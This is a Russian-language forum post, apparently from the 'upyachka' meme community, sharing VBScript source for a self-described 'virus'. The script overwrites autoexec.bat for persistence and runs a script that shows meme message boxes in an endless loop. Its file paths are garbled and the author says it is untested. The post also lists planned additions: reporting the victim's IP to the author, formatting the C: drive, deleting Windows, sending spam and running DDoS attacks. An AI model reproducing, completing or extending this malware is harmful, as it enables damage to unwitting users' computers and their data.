Проверь лучше на
http://sch10.lv , доброе дело сделаешь
УПД
Сделал первую бета-версию
УПЯЧНИ-ВИРУСА!!1111
Суть вируса - бесконечно повторять упячни сообщения.
Вирус написан на ВБС, при желании можно скомпилить в еХе.
[spoiler=""Исходник""]set fs=createobject("Scripting.FileSystemObject")
'код автозагрузки
if fs.fileexists("c:autoexec.bat") then
set ab=fs.getfile("c:autoexec.bat")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("c:autoexec.bat")
autoexec.WriteLine ":network"
autoexec.WriteLine "start %windir%system32
etwork.vbs"
autoexec.WriteLine "goto network"
autoexec.close
'конец кода автозугрузки
'файл с вирусом
set virus=fs.CreateTextFile("%windir%system32
etwork.vbs")
virus.WriteLine "do"
virus.WriteLine "MsgBox "Ты попячен реальне!!1111" "
virus.WriteLine "MsgBox "ОЯЕБУ УГ РЕАЛЬНЕ ПОПЯЧЕНЕ!!111" "
virus.WriteLine "loop"
virus.close
'конец файла с вирусом
'запуск вируса сразу после установки
Set WShell = CreateObject("WScript.Shell")
ReturnCode = WShell.Run("%windir%system32
etwork.vbs")
'конец кода вируса[/spoiler]
Выделенные
розовым цветом строки в исходнике - сами сообщения. на большее воображения не хватило. при желании, можно их изменить.
Что планируется в следующей версии:
-Отсылка сообщения мне на имейл при зараженииии компа с информацией о нём - ИП, время заражения и т.д.
-Деструктивные действия - формат С:/, удаление винды и т.д.
-Приколы над юзером - смена заставки, смена стартовой страницы браузера, дикие тормоза и т.д.
-Работа на нас - рассылка спама, ДДОС
-Ещё чёнить придумаю х)
З.Ы. вирус ещё не проверен - я даже не знаю, работает он, или нет :crazy: Завтра на виртуалке потестю.